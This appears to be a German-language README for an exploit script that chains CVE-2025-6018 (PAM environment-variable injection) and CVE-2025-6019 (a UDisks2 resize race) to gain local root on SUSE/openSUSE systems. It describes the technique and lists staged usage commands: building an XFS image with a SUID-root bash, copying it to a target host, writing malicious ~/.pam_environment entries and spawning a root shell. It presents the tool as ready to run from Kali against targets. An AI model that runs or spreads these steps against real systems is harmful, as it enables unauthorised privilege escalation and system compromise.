
Exploit Chain of CVE-2025-6018 to CVE-2025-6019
https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt
Dieser Exploit verknüpft CVE-2025-6018 und CVE-2025-6019, um auf anfälligen SUSE/openSUSE-Systemen eine lokale Privilegieneskalation von einem unprivilegierten Benutzer zu root zu erreichen. CVE-2025-6018 ist eine Umgebungsvariable-Injektion in PAM (Pluggable Authentication Modules) in pam_env.so (Versionen 1.3.0-1.6.0), die es Benutzern ermöglicht, ihre Sitzungsumgebung über ~/.pam_environment mit der OVERRIDE-Direktive zu manipulieren. Durch das Ändern von XDG-Sitzungsvariablen (XDG_SEAT, XDG_VTNR, XDG_SESSION_TYPE) kann ein Angreifer systemd-logind dazu bringen, allow_active PolicyKit-Berechtigungen zu gewähren, sodass die entfernte SSH-Sitzung wie eine lokale physische Sitzung erscheint. Sobald der allow_active-Status erlangt wurde, kann CVE-2025-6019 ausgenutzt werden: Diese Schwachstelle in UDisks2/libblockdev erlaubt es Benutzern mit allow_active-Berechtigungen, Dateisysteme mit privilegierten Optionen (exec, suid) zu mounten, und zwar durch eine Race-Condition in der D-Bus-Methode Filesystem.Resize. Wenn eine Größenänderung auf einem Loop-Gerät mit einem präparierten XFS-Dateisystem ausgelöst wird, das eine SUID-root-bash-Binärdatei enthält, mountet libblockdev das Dateisystem automatisch, um die Größenänderung durchzuführen, kann es aber aufgrund des Größenänderungsfehlers nicht aushängen, sodass die SUID-bash in /tmp/blockdev*/ zugänglich bleibt, die dann ausgeführt werden kann, um eine Root-Shell zu erhalten.
sudo ./ExploitChain.sh stage1 [output_path]
# Standard: ./xfs.image
# Erstellt ein 300 MB großes XFS-Dateisystem mit SUID-root-bash
scp xfs.image user@<target_ip>:/tmp/
./ExploitChain.sh stage2
# Erstellt ~/.pam_environment mit bösartigen XDG-Variablen
# MUSS abmelden und erneut anmelden, um die PAM-Verarbeitung auszulösen
logout
ssh user@<target_ip>
# PAM verarbeitet ~/.pam_environment beim Anmelden
# systemd-logind gewährt allow_active-Status
./ExploitChain.sh stage3 /tmp/xfs.image
# Nutzt den UDisks2 Filesystem.Resize-Bug aus
# Mountet das XFS-Image mit SUID-bash
# Erzeugt eine Root-Shell
# Auf Kali (erkennt root automatisch und führt stage1 aus)
sudo ./Exploit-6018-Chain-6019-v3.sh auto
# Auf dem Ziel (erkennt die Stufe automatisch und führt stage2/stage3 aus)
./ExploitChain.sh auto /tmp/xfs.image
./ExploitChain.sh help